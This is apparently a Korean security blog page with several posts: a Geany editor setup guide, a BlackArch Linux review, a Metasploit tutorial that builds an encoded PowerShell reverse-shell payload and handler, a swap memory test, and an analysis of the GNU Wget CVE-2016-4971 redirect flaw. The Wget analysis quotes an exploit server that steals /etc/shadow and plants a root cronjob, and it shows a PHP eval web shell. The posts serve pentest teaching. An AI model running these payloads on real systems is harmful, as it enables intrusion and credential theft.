Redhat 계열(redhat/fedora/centos ..)
#> yum install geany

Other(Download geany / windows)
https://plugins.geany.org/downloads.html

저는 가볍게 apt를 통해 설치하였습니다.


Using Geany 1 - 구성

일반적인 IDE, Text Editor과 비슷하게 코드 영역과 코드에 대한 정보, 각종 기능이 있는 영역으로 구분되어 있습니다. 배치는 움직일 수 있어 편한대로 수정해서 쓰시면 됩니다.


항상 IDE에서 가장 원하는 기능인 자동완성도 포함되어 있네요.


using Geany 2 - 컴파일 및 실행(Compile & Code Execute)

컴파일 / 빌드 및 실행까지 한번에 지원하기 때문에 바로바로 테스트해볼 수 있습니다.
아래 같단한 Hello world 코드를 짰습니다.

#include <stdio.h>

void main()
{

printf("Hello world!");

}

Compile(F8) -> Build(F9)  -> Run(F5)

위처럼 컴파일 후 빌드, 실행까지 해주시면 작성한 코드를 컴파일하여 .o 파일과 실행파일이 생성되고, 실행하여 터미널을 통해 나타납니다.


Install Geany Theme

테마 적용 글은 아래 포스팅에서 도움 많이 얻었습니다. 감사합니다 :)
http://blog.nooree.com/post.cfm/ubuntu-c

테마 파일은 아래 github에서 받을 수 있습니다.
https://github.com/codebrainz/geany-themes

홈 디렉토리 내 ./config 하단에 geany 디렉토리가 존재합니다. 여기에 colorschemes와 filedefs 디렉토리에 각각 다운로드 받은 파일 데이터를 넣어줍니다. (같은 디렉토리 이름 하단 데이터)

ex) /home/username/.config/geany/colorschemes/
ex) /home/username/.config/geany/filedefs/

or (또는)

git으로 받은 파일 안에 install.sh를 실행시켜줍니다.

#> git clone https://github.com/codebrainz/geany-themes
#> cd geany-themes/
#> ./install.sh 
Installing themes into `/home/username/.config/geany/colorschemes/'...
 => bespin.conf
 => black.conf
 => darcula.conf
 => dark-colors.conf
 => dark-fruit-salad.conf
 => dark.conf
 => fluffy.conf
 => gedit.conf
 => github.conf
 => himbeere.conf
 => inkpot.conf
 => kugel.conf
..snip..

그다음 geany 를 열어줍니다.
상단 메뉴에서 도구 -> Configulation files -> filetype.common 내 내용을 지워주시고 /home/username/.config/geany/colorschemes 내 맘에드는 conf 파일로 붙여넣고 저장하시면 됩니다.

아래 주소에서 미리 테마에 대해서 살펴볼 수 있습니다.
https://github.com/codebrainz/geany-themes/tree/master/screenshots

설명이 모자랄 수 있으니 자세한 내용은 아래 포스팅 참고하시면 좋습니다.
http://blog.nooree.com/post.cfm/ubuntu-c

gedit vs geany

사실 이 둘을 비교하기는 좀 그렇습니다. 어떻게 보면 성향이 다르죠.
하나는 Text Editor이고 하나는 IDE이기 때문입니다.

다만 제가 주로 사용하던 도구가 gedit이기 때문에 저의 생각 그대로 전달해드리려 합니다.



솔직히 개발적인 모습만 본다면 geany의 승리입니다. 가벼움과 동시에 여러 기능을 지원하고(대표적으로 autocomplate) 개발을 하는 사람 입장에선 gedit 보다 편리합니다. 다만 Text Editor인 Gedit이 범용적인 면을 봤을땐(예를들어 메모장처럼 사용 등등) Gedit이 우세하겠네요. 누가 메모하려하는데 IDE를 키겠어요.

저는 이 2개를 섞어 사용하려 합니다. 취향에 따라 사용하시는게 좋을 것 같습니다.

둘다 빠르고, 편리합니다.

맺음말

geany는 굉장히 좋은 툴입니다. 무거운 IDE와는 다르게 가볍고 빠르기 때문에 답답함이 많이 줄 것이고 많은 기능 지원으로 편리하게 개발 환경 구축이 가능합니다.

모든 프로그램은 사용자에게 잘 맞느냐 아니냐가 중요한 것 같습니다. 당장 웹 브라우저만해도 사람들마다 쓰는게 다르고 활용하기도 다르죠. 여러가지 툴을 경험해보면 자신에게 제일 잘 어울리는 툴을 찾는것이 좋다고 생각듭니다.

Reference 

http://blog.nooree.com/post.cfm/ubuntu-c
https://github.com/codebrainz/geany-themes/
http://www.geany.org/manual/current/#id52
Share: | Coffee Me:

[HACKING] BlackArch Linux Install, Review (Arch linux for Pentest)


이번에 가상머신 정리좀 할 겸 최근에 이야기 나왔던 BlackArch를 설치해봤습니다.
개인적으로 Arch Linux를 써본적이 없기 때문에(딱 한번 설치만 해봤던거 같네요)
기대감을 지닌 채 구성을 하였습니다.

이번 포스팅에선 BlackArch Linux에 대한 전반적인 Review로 진행하려 합니다.

Arch Linux?

일단 Black Arch에 대해 알기전에 Arch Linux에 대해 알고 시작하면 좋습니다.
Bakctrack 이나 Kali에서도 기본 Base가 되는 ubuntu/Debian에 대해 모르고 접근한다면 생각보다 잘 사용할 수 있을거라고는 못봅니다.
(툴 사용만 할 거 아니자나용)

먼저 Arch Linux는 사용자보단 개발자에게 포커싱이 맞춰진 OS입니다.
간결함과 최소주의를 추구하며 자체적으로 Package manager인 pacman을 사용합니다. debian으로 보면 apt 와 같은 역할을 하죠.

원본 태생은 크럭스에서 나왔으며 젠투와 같이 롤링 릴리즈, 즉 릴리즈 없이 각 패키지의 버전만 갱신하는 형태로 구성됩니다. (어떻게 보면 정말 좋은 부분이기도 하죠)

Black Arch 

BlackArch는 Arch linux 기반의 Pentest OS 입니다.
유사한 OS로는 Kali(구 Backtrack), blackbuntu, REMNUX 정도가 있습니다.

BlackArch는 회사가 아닌 각각 개인 개발자들끼리 모임(?)에서 만든 리눅스입니다. (자원봉사자..) 그래서 여러 해커(+보안업체 직원)가 만든 것으로 보입니다.



BlackArch 설명에서 보면 1450개의 Tool을 지원한다고 합니다. 매우 많은 툴인데, 이것을 다 익히려면 많은 시간이 걸리겠네요. 다만 많이 사용하는 툴이 많을 것 같아 사용자의 역량에 따라 차이가 날 듯 싶습니다.


BlackArch Linux is an Arch Linux-based penetration testing distribution for penetration testers and security researchers. The repository contains 1450 tools. You can install tools individually or in groups. BlackArch Linux is compatible with existing Arch installs. For more information, see the installation instructions. Also, news are published on our blog site.

Please note that BlackArch is a relatively new project. To report bugs and request new tools, please visit the issue tracker on Github, stop by IRC, or email us.

The BlackArch Live ISO contains multiple window managers. Below you will find screenshots of a few of them.

Download BlackArch

아래 주소에서 다운로드 가능합니다.
https://blackarch.org/downloads.html

Live ISO와 Netinstall을 지원하며 저는 Netinstall을 통해 설치하였습니다.

Default Login/Password는 root:blackarch 입니다.

부팅 후 위 정보를 이용해 로그인 하면 파일 2개를 확인할 수 있습니다.

[ blackarch ~ ]# ls
install.txt  README

README를 읽어보시면 blackarch-install 이라는 명령을 통해 설치할 수 있다고 나옵니다.

[ blackarch ~ ]# blackarch-install

위와 같이 명령을 주면 3가지의 install menu가 나타납니다.

1. Install from repository using pacman
2. Install from Live-ISO
3. Install from sources using blackman

저는 pacman 관리자를 이용해서 설치하였습니다. 1번!

그다음은 Key map을 물어봅니다. 사용하시는 keymap으로 설정해줍니다.


그다음 Host 이름부터 Network Adaptor 등등 일반적인 리눅스 설치과정을 따라갑니다. CUI라 긴장하지 마세요. 똑같아요



Network 설정까지 완료되면 pacman을 통해 업그레이드를 합니다.
아마 기본 Arch Linux에 패키지를 얹는 식으로 구성된듯 합니다.

파티션 세팅까지 다 하시면 Install 을 시작합니다.



중간에 x-windows 사용 여부에서 사용으로 하시면 비웃네요 (noob noob noob....)
(CUI도 좋지만 GUI가 나쁜게 아냐 ㅜㅜ)


마지막까지 진행하시면 한번 더 noob이라고 놀림받고 완료됩니다.

(마지막까지..)

Supports tool

1450개의 툴을 지원한다고 합니다. 많이 알려진 Pentest tool에 blackarch 팀만의 툴이 합쳐져서 해킹을 위한 거대한 OS가 탄생하게 되었네요.



... 이렇게 해서 총 1454개네요. 아래 주소에서 자세하게 확인하실 수 있습니다 ^^
https://blackarch.org/tools.html

Reference

https://en.wikipedia.org/wiki/Arch_Linux
https://blackarch.org/

Share: | Coffee Me:

7/13/2016

[METASPLOIT] Meterpreter Paranoid Mode - SSL Certified Meterpreter shell


최근에 기사를 보다보니 좀 여러가지 생각을 하도록 만드는 기사가 있었습니다.
바로 모의해킹 때문에 더 위험할 수 있다, 이런 내용의 기사였는데요. 뒷처리가 깔끔하지 않다면 정말 훨씬 위험한 상황을 만들수도 있단 생각이 드네요.

오늘은 조금 더 안전한 Pentest를 위해서 Shell, 즉 공격에 사용되는 shell의 payload 정보를 암호화하고 안전하게 pentest를 하기 위한 장치에 대해 알아볼까 합니다.

사실상 Meterpreter shell의 기능 중 하나인 Paranoid Mode 에 대한 이야기입니다.


Why?

오늘의 포스팅은 다른 기술적인 포스팅과는 약간 다르게 기사에서 영감을 많이 받아 작성하게 되었습니다. 서론에서도 말씀드렸듯이 침투테스터의 pc나 네트워크 환경은 공격 받았을 때 굉장히 리스크가 큰 것 같습니다.

공격자가 타겟 시스템에 접근을 하거나 Pentest 과정중에서 발생하는 정보, 공격 등은 아주 위험하고 민감한 데이터들입니다.

이런 공격 과정이나 pentest를 진행하는 보안전문가의 pc가 공격 당할 때 상황이 굉장히 안좋아질 수 있다는 이야기입니다.

예를들어 공격자가 어떤 시스템에 취약점을 가지고 Bind shell을 심는다면 그 트래픽을 감청한 다른 공격자는 노력하지 않고도 그 shell을 가져갈 수도 있게되지요. 또한 침투테스터를 식별할 수 있는 데이터를 주지 않은 상황에서 침투테스트 시 실제 공격자와 침투테스터를 구별하기 까다롭습니다. 그러기 때문에 공격코드의 안전함을 위해서는 보안까지 설계된 공격이 필요할 것 같습니다.

그래서 meterpreter shell의 기능 중 paranoid mode, 즉 안전한 공격 환경을 만들어주는 이 모드에 대해 풀어나가려고 합니다.

Meterpreter shell

혹여나 Meterpreter에 대해 모르시는 분도 있을 수 있으니 간단하게 설명하고 Paranoid mode 에 대해 보는게 좋을 것 같아서 넣었습니다.

Meterpreter는 Metasploit에서 사용되는 Shell(Bind/Reverse)이며 다양한 플랫폼에 맞게 변형이 가능하고 Hacker/Pentester에게는 정말 유용한 기능, 스크립트, 확장성을 가진 만능 쉘입니다. 저도 개인적으로 아주 자주 사용하고 있고 동작 자체가 Memeory 단에서 활동하기 때문에 탐지도 까다롭습니다.

오늘은 paranoid mode에 대해 하는것이니 여기까지 소개하고 아직 meterpreter가 잘 모르겠다면 아래 링크(metasploit-unleashed) 참고하시기 바랍니다.

metasploit-unleashed
https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/

meterpreter 관련해서 따로 궁금한거는 저에게 연락주시면 답변해드리겠습니다.

Paranoid Mode?

오늘의 핵심 컨텐츠인 Paranoid mode 입니다.
딱 간단하게 줄여서 말씀드리면 아래와 같습니다.

"
안전한 공격을 위해 SSL이 적용된 Shell
"


Paranoid mode는 기존 Meterpreter shell에  SSL Certified가 적용된 모드입니다.
그래서 다른 악의적인 공격자가 Shell 파일, Payload를 탈취하여도 그걸 통해 또 다른 공격을 만들어낼 수 없도록하는게 Paranoid mode 입니다.


Paranoid Mode 1 - Create a SSL/TLS Cert


먼저 openssl로 key, crt 파일을 생성해줍니다.
#> openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj "/C=US/ST=Texas/L=Austin/O=Development/CN=test" -keyout test.key -out test.crt
..snip..
-----BEGIN CERTIFICATE-----
MIIFbzCCA1egAwIBAgIJAIsnaKV1Ny7aMA0GCSqGSIb3DQEBCwUAME4xCzAJBgNV
BAYTAmtyMQ0wCwYDVQQIDAR0ZXN0MQ0wCwYDVQQHDAR0ZXN0MSEwHwYDVQQKDBhJ
bnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMTYwNzEyMDMwMzE5WhcNMTcwNzEy
...

그다음 key와 crt 파일을 가지고 pem 파일을 만들어 줍니다.
#> cat test.key test.crt > test.pem

한줄로 정리하면 아래와 같네요.

#> openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj "/C=US/ST=Texas/L=Austin/O=Development/CN=test" -keyout test.key -out test.crt && cat test.key  test.crt > test.pem && rm -f test.key test.crt

그러면 test.pem 파일이 생성됩니다. 우리가 암호화할 때 사용할 SSL 인증서를 생성해둔 과정입니다.

Paranoid Mode 2 - Create a Paranoid Payload

두번째로 paranoid mode를 통해 암호화된 payload를 만들 차례입니다.
아래 hvenom 명령은 msfvenom 명령으로 보시면 됩니다.

#> hvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.8 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=./test.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o launch-paranoid.bat

No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Saved as: launch-paranoid.bat

우와 같이 명령을 주면 -o 으로 지정해준 .bat 파일이 떨어집니다. (windows target 기준)
#> ll
합계 24
drwxr-xr-x  2 hahwul hahwul 4096  7월 12 22:12 .
drwxr-xr-x 60 hahwul hahwul 4096  7월 12 22:12 ..
-rw-r--r--  1 root root 6255  7월 12 22:12 launch-paranoid.bat
-rw-r--r--  1 root root 5228  7월 12 22:06 test.pem

cat 으로 생성된 bat 파일을 보면 powsershell을 이용해서 암호화된 payload를 실행하는 것을 알 수 있습니다.

#> cat launch-paranoid.bat 

%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA
0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH
...

Paranoid Mode 3 - Run Paranoid Listener

마지막으로 암호화된 웰을 받아줄 listener, 즉 handler도 설정해줘야합니다.

hahwul auxiliary(test) #> use exploit/multi/handler 
hahwul exploit(handler) #> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
hahwul exploit(handler) #> set LHOST 192.168.0.8
LHOST => 192.168.0.8
hahwul exploit(handler) #> set LPORT 443
LPORT => 443
hahwul exploit(handler) #> set HandlerSSLCert ./test.pem
HandlerSSLCert => ./test.pem
hahwul exploit(handler) #> set IgnoreUnknownPayloads true
IgnoreUnknownPayloads => true
hahwul exploit(handler) #> set StagerVerifySSLCert true;
StagerVerifySSLCert => true;

hahwul exploit(handler) #> run -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.0.8:443

아니면 아래 명령행 처럼 msfconsole 을 통해 인자값으로도 주어도 됩니다.

#> msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.0.8; set LPORT 443; set HandlerSSLCert ./test.pem; set IgnoreUnknownPayloads true; set StagerVerifySSLCert true; run -j'

이러면 이제 handler는 대기상태가 되고 exploit에 성공한 payload는 정상적으로 handler와 연결되게 됩니다. 그러나 암호화된 상태에서 말이죠 :)

맺음말

아주 간단한 설정이면 쉽게 암호화된 meterpreter shell을 사용할 수 있습니다.
오늘의 포스팅은 여기까지고 궁금하신점은 언제든지 편하게 말씀해주세요.

Reference

https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode
https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/
Share: | Coffee Me:

7/12/2016

[DEBIAN] malloc() 시 sysctl vm.swappiness를 이용하여 Swap 적극 활용하기


리눅스에서 여러가지 테스트를 하다보면 memory를 full 시켜야할 상황이 오기도 합니다.
사실 제가 이런 테스트가 필요하기보단 필요한 분 도와드리다보니 아무래도 정리해놓는게 좋을 것 같아 가볍게 작성합니다.

오늘은 memory full test에서 swap 부분에 대해서 쉽게 사용하기 위해서 malloc과 vm.swappiness를 이용해서 테스트하는 방법에 대해 적어볼까 합니다.


Swap memory

Linux의 메모리 관리 기술 중 하나인 Swap 은 메모리가 부족할 때 보조기억장치를 활용해서 메모리 대용으로 사용하는 기법입니다. 음.. linux os 설치해주시면 자동으로 swap을 잡거나 직접 지정하게 되는데, 그 swap이 이 swap입니다.

물론 속도는 엄청 느리지요. 그래서 대체로 안쓰는걸 권장한다지요.
(아예 빼라는건 아니고.. 그냥 여기까지 메로리를 안쓰는게 좋다 이정도.)

swap memory는 free 명령을 통해 쉽게 확인할 수 있습니다.

#> free
             total       used       free     shared    buffers     cached
Mem:       8105636    7898312     207324     210960      95684     884824
-/+ buffers/cache:    6917804    1187832
Swap:      8317948     125396    8192552

vm.swappiness

리눅스 커널 속성 중 하나로 스왑 메모리의 활용수준 및 사용 적극성에 관련하는 값입니다.
vm.swappiness 를 높게 줄수록 적극적으로 스왑 메모리를 사용하죠.

같은 0 ~ 100까지 줄 수 있고 Default 60으로 설정되어 있습니다. 각각 수치는 아래와 같습니다.

SwappinessValueDescription
vm.swappiness0스왑 끄기
vm.swappiness1스왑 최소화
vm.swappiness60Default
vm.swappiness100적극적 스왑 사용

#> sysctl vm.swappiness=100
#> cat /proc/sys/vm/swappiness
100

wm.swappiness 최대치로 malloc 테스트하기

메모리 풀을 만들기 위해선 간단한 코드로 테스트가 가능합니다.
(처음 해킹 관심 가지게 한 이 malloc 함수가 모든일의 시초였죠)

반복하면서 malloc를 해주면 됩니다. 직접 작성하는것도 금방이지만 stackexchange에
좋은 코드 있어서 그걸로 대체할게요.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv) {
    int max = -1;
    int mb = 0;
    char* buffer;

    if(argc > 1)
        max = atoi(argv[1]);

    while((buffer=malloc(1024*1024)) != NULL && mb != max) {
        memset(buffer, 0, 1024*1024);
        mb++;
        printf("Allocated %d MB\n", mb);
        sleep(1);
    }     
return 0;
}
-> Steven D 작성 코드

컴파일 해주시고.
#> gcc -o swapmem_test swapmem_test.c

swappiness 를 최대치로 설정 후 돌려주시면..

#> sysctl vm.swappiness=100;./swapmemtest

메모리를 할당하며 swap을 최대한 쓰려고 하겠네요.

#> ./swapmeme_test
Allocated 1 MB
Allocated 2 MB
Allocated 3 MB
Allocated 4 MB
Allocated 5 MB
Allocated 6 MB

Reference

http://zetawiki.com/wiki/%EB%A6%AC%EB%88%85%EC%8A%A4_swappiness
Share: | Coffee Me:

7/09/2016

[EXPLOIT] GNU Wget < 1.18 Arbitrary File Upload/Remote Code Execution 분석(Analysis)


오랜만에 Exploit 코드 분석을 해볼까합니다. (한참된거 같네요)
최근 wget, 즉 gnu wget에서 Arbitrary File Upload와 Remote Code Execution 취약점이 발견되었습니다. 딱봐도 파급력이 크기 때문에 당연 CVE도 붙었고 CVSS Risk level 도 높을 것으로 보이네요. 그럼 시작해볼까요?

GNU Wget?

wget은 많이들 아시겠죠. 바로 리눅스, 유닉스에서 사용하는 웹 접근 도구입니다.
웹 페이지나 파일을 명령어로 쉽게 가져올 수 있죠. wget을 잘 활용하면 쓸만한 툴을 만들 수 있을 정도입니다.



"GNU Wget is a free software package for retrieving files using HTTP, HTTPS and
FTP, the most widely-used Internet protocols.
It is a non-interactive commandline tool, so it may easily be called from
scripts, cron jobs, terminals without X-Windows support, etc.

GNU Wget has many features to make retrieving large files or mirroring entire
web or FTP sites easy
"

GNU에 소개된 내용을 보면 딱 아 이런 툴이구나 라고 이해가 되실겁니다.

"This file documents the GNU Wget utility for downloading network data."

GNU Wget < 1.18 Arbitrary File Upload/Remote Code Execution

간단하게 Summary 정리하고 갑니다.

Exploit title: GNU Wget < 1.18 Arbitrary File Upload/Remote Code Execution
Weak application: GNU Wget
Exploit-code: CVE-2016-4971, edb-40064
Author: Dawid Golunski

오래전부터 활동하시던 분이고 linux 랑 php 취약점 자주 잡으시는 분이네요.
(제가 8066인데, 이분은 1951.. 허헛)

GNU Wget < 1.18 버전의 취약성

wget 1.18 버전 이하에서는 아주 치명적인 취약성이 존재합니다.
바로 302 Found와 같이 Redirection되는 페이지를 만났을 때 새로 Redirection 된 파일을 받아오게 됩니다. 여기서, 중요한건 다운로드된 파일을 Redirection 된 파일의 이름을 따라가게 됩니다.

그래서 공격자는 사용자로부터 wget 요청을 유도할 수 있다면 악의적인 파일을 사용자에게 삽입할 수 있게됩니다.

음.. 쉽게 예를들어 설명하면,

먼저 공격자는 사용자들이 많이 받는 파일에 302 found를 세팅합니다.
아래와 같이 다른 url로 넘어가도록 말이죠.

#> wget http://192.168.0.8/util.zip
사용자가 wget으로 util.zip을 호출할 때 서버는 아래와 같은 메시지를 Return 합니다.

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: ftp://192.168.0.8/.bashrc
Server: Apache

이렇게 되면 wget은 302를 만나 ftp://192.168.0.8/.bashrc 주소로 붙어 .bashrc 파일을 다운로드 받습니다.

.bashrc는 사용자의 bashrc 파일로 스크립트로 여러가지 행위를 할 수 있죠.

이 과정중의 핵심은 이것입니다. 사용자는 wget 으로 http://192.168.0.8/util.zip에 접근하였고 결론적으로는 .bashrc 파일이 떨어졌다는 겁니다.

이해가셨나요? 아주 쉽고 간단한데 원격지에 파일을 떨어뜨릴 수 있는거니 생각보단 위험하네요.

Exploit Code

내용만 보고 없으면 직접 짜려고 했으나 다행인게 Author가 302 server code 도 만들어 두었네요.

얼마 길지않은 python 코드는 잠깐 보도록 하죠. 주석으로 조금 정리해볼게요.

import SimpleHTTPServer
import SocketServer
import socket;

class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
   def do_GET(self):
       # This takes care of sending .wgetrc

       print "We have a volunteer requesting " + self.path + " by GET :)\n"
       if "Wget" not in self.headers.getheader('User-Agent'):
      print "But it's not a Wget :( \n"
          self.send_response(200)
          self.end_headers()
          self.wfile.write("Nothing to see here...")
          return

       print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"
# =======================================================
# [!!!] 이 부분입니다. 강제로 301 redirection 을 보내주네요.
# new_path 에 들어가는 부분이 악의적인 파일(wgetrc)를 받을 ftp 입니다.
       self.send_response(301)  
       new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )
# =======================================================
       print "Sending redirect to %s \n"%(new_path)
       self.send_header('Location', new_path)
       self.end_headers()
   def do_POST(self):
       # In here we will receive extracted file and install a PoC cronjob

       print "We have a volunteer requesting " + self.path + " by POST :)\n"
       if "Wget" not in self.headers.getheader('User-Agent'):
      print "But it's not a Wget :( \n"
          self.send_response(200)
          self.end_headers()
          self.wfile.write("Nothing to see here...")
          return

       content_len = int(self.headers.getheader('content-length', 0))
       post_body = self.rfile.read(content_len)
       print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)

       print "Sending back a cronjob script as a thank-you for the file..."
       print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)"
       self.send_response(200)
       self.send_header('Content-type', 'text/plain')
       self.end_headers()
       self.wfile.write(ROOT_CRON)

       print "\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n"

       return

HTTP_LISTEN_IP = '192.168.57.1'
HTTP_LISTEN_PORT = 80
FTP_HOST = '192.168.57.1'
FTP_PORT = 21

ROOT_CRON = "* * * * * root /usr/bin/id > /root/hacked-via-wget \n"

handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)

print "Ready? Is your FTP server running?"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
   print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
else:
   print "FTP is down :( Exiting."
   exit(1)
나머진 별다른게 없네요. 그냥 python 기반 웹서버이며 301해주는 기능입니다.
rc 파일에는 공격 코드가 들어가겠네요.

GNU Wget < 1.18 Arbitrary File Upload/Remote Code Execution 을 이용한 WebShell Upload

사실 여기까지 보고 이런 생각이 들었습니다.

"어? 왜 Remote code execution까지 붙였을까?"




Author는 요걸 활용한 공격까지 생각하고 이름을 지었더군요 !
바로 php에서 사용될 때 php 파일을 떨굴 수 있기 때문이죠. 아무래도 cron이나 웹 서버에서 wget을 사용하는 경우가 은근 많은데, 정말 위험할 수도 있겠네요.

아래 간단한 코드를 예시로 들겠습니다.

<?php
  // I am vulnerability code in php
  system("wget -N -P http://192.168.0.8/util.sqlite");   
?>
뭔가 정기적으로 wget을 통해 util.sqlite 파일을 받아오는 코드입니다.
만약 192.168.0.8 서버가 공격자로부터 침해되었다면 어떨까요?

공격자는 이 취약점을 활용하기 위해서 서버 설정을 바꾸어 다른 파일을 다운로드 받도록 유도합니다. 뭐 이런식으로요

HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: ftp://192.168.0.8/ol_shell.php
Server: Apache

ol_shell.php

<?php
    eval($_GET['q']);
?>
wget으로 인해서 ol_shell.php가 wget을 호출한 곳으로 떨어지고 자연스럽게 웹쉘이 업로드되는 현상이 이루어지지요.

ftp로 주었지만 웹에서도 퍼미션이 없는 php 파일은 그냥 php로 떨어집니다. 웹 서버 하나로도 가능한 일이지요.

맺음말

이 취약점은 코딩 자체가 잘못된 취약점은 아닙니다. 프로그램 자체의 문제라기 보단 기능의 흐름에서 예상하지 못한 결과에 대해서 예외처리가 잘 되어있지 않은 문제지요.

이렇게 로직으로 인한 문제는 개발자가 발견하기 어렵습니다. 실제로 일어나야 인지하죠.

이 취약점이 얼마나 여파가 있을지는 모르겠습니다. 공격자가 서비스가 어떤 주소로 wget을 호출하는지 알도록 냅둬진 서버가 얼마나 있을지는 모르겠네요. 다만 open source 중에서 wget 호출을 사용하는 서버는 문제가 있을 것 같습니다. 공격자가 언제든지 정보를 찾을 수 있기 때문에 관리자, 개발자는 항상 최신버전으로 업데이트함과 동시에 자신이 위험한 코딩을 하고있지 않은지 살펴봐야할 것 같습니다.

If you are question, please contact me a comment or mail

Reference 

https://www.exploit-db.com/exploits/40064/
https://en.wikipedia.org/wiki/Wget
Share: | Coffee Me: